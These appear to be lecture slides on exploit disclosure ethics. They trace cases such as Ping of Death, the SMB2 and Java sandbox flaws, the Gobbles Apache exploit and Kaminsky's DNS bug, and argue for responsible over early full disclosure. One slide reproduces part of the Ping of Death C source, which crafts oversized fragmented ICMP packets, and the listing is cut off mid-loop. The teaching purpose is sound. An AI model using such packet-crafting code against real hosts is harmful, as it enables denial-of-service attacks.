SOFTWARE EXPLOIT DISCLOSURE

The Release of Proof-of-Concept Code into the Wild

What's an Exploit?

- An **exploit** is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). This frequently includes such things as gaining control of a computer system or allowing privilege escalation or a denial of service attack. -- wikipedia

Ping of Death

- Circa 1996
- Affected computers running many OSes
- A single malformed packet could completely crash the system

Ping of Death

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* * If your kernel doesn't muck with raw packets, #define REALLY_RAW. * This is probably only Linux. */
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int main(int argc, char **argv) {
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset; int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket"); exit(1); }
 if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
{ perror("IP_HDRINCL"); exit(1); } if (argc != 2)
{ fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1); }
 if ((hp = gethostbyname(argv[1])) == NULL)
 { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1)
 { fprintf(stderr, "%s: unknown host\n", argv[1]); }
} else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
} printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0; ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120) ip->ip_off |= FIX(IP_MF);
```

MS SMB2 “Packet-o-Death”

- CVE-2009-3103
- Circa 2009
- Affects Windows Vista/2008/Windows 7
- A Single Malformed Packet Causes BSOD
- No Authentication Needed
- Also Allowed for Execution of Arbitrary Code!

Java Vulnerability: Bad Guys Escape Sandbox

- 2008-12-04
- CVE-2008-5353

- Sun patches Java, world is safe

Java Vulnerability: Bad Guys Escape Sandbox

- 2009-05-22
- Landon Fuller releases Proof-of-Concept which leverages CVE-2008-5353
- "Unfortunately, it seems that many Mac OS X security issues are ignored if the severity of the issue is not adequately demonstrated. Due to the fact that an exploit for this issue is available in the wild, and the vulnerability has been public knowledge for six months, I have decided to release a my own proof of concept to demonstrate the issue.
- 6 months after Sun has fixed Java, OS X still vulnerable!

Java Vulnerability: Bad Guys Escape Sandbox

- 2009-06-15
- Apple Releases patch, more than 6 months after Sun releases fix to Java.

Full Disclosure

- Disclosing ALL info about vulnerability to the public
- This includes technical details about the vulnerability
- This includes working example (read: attack) code!
- Idea being to make users aware of issue and pressure vendors to release a fix

Apache Exploit

- 2002-06-17
- Apache is the HTTP/HTTPS server running on more than 63% of web servers at the time

Apache Exploit

- 2002-06-17
- ISS X-Force Announces "serious vulnerability" in default Apache install
- They state vulnerability is confirmed in Win32, but that "successful exploitation on most Unix platforms is unlikely

Apache Exploit

- 2002-06-20
- SecurityFocus publishes article telling of research group Gobbles releasing working exploit code for the vulnerability, targeting OpenBSD
- Gobbles: "we had read too much bullshit from 'experts'… their idiotic statements as to why it isn't exploitable"
- 2 days after initial report from ISS!

Patching, verifying & deploying takes time

- Even though Apache had a patch available very quickly, deployment isn't instantaneous

Patching, verifying & deploying takes time

- Even though Apache had a patch available very quickly, deployment isn't instantaneous
- Early release of exploit code can hurt innocent users

Patching, verifying & deploying takes time

- Even though Apache had a patch available very quickly, deployment isn't instantaneous
- Early release of exploit code can hurt innocent users
- The "hurt" might be just denial of service, or loss of privacy, reputation, financial/health information, compromised bank accounts, etc.

Full Disclosure

- It takes real work to discover and exploit vulnerabilities
- Reputations are built on discovering vulnerabilities

Full Disclosure

- It takes real work to discover and exploit vulnerabilities
- Reputations are built on discovering vulnerabilities
- This can devolve into a pissing contest

What to do?

- Software vendors sometimes need a bit of pressure in order to do the right thing
- Users have a right to know if a system they rely on has known security holes!

“Responsible Disclosure”

- As in Full Disclosure, all details of vulnerability are released to public
- However, a reasonable amount of time is granted to vendors and sysadmins to allow for handling the issue
- Impending release still applies pressure
- Just calls for a little maturity

Responsible Disclosure Example

- Dan Kaminsky discovers nasty DNS cache poisoning vulnerability
- Early release of exploit code could have wreaked global havoc as users are redirected to malicious sites, email gets mis-delivered, etc.

Responsible Disclosure Example

- Kaminsky discovers issue February 2008
- 2008-03-19 notifies small number of concerned parties, including CERT (Computer Emergency Readiness Team)
- DNS Summit 2008-03-31, Solution proposed, target patch date set for 2008-07-08
- Full disclosure at Blackhat, 2008-08-07

Responsible Disclosure Example

- Time between contacting vendors and full disclosure allowed for most vulnerable systems to be patched before exploits were seen in wild
- A small number of systems were still compromised, but that's on them for not patching!

Conclusion

- Responsible Disclosure, GOOD
- Early full disclosure without time for vendors and sysadmins to react, BAD

References & further reading

- Ping-of-Death source & info: http://insecure.org/sploits/ping-o-death.html
- Windows SMB2 exploit CVE page: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
- Landon Fuller OS X Java exploit: http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html
- SecurityFocus article on ISS/Gobbles Apache disclosure: http://www.securityfocus.com/news/493
- Dan Kaminsky DNS Cache Poisoning timeline: http://www.cert.org/netsa/publications/faber-OARC2008.pdf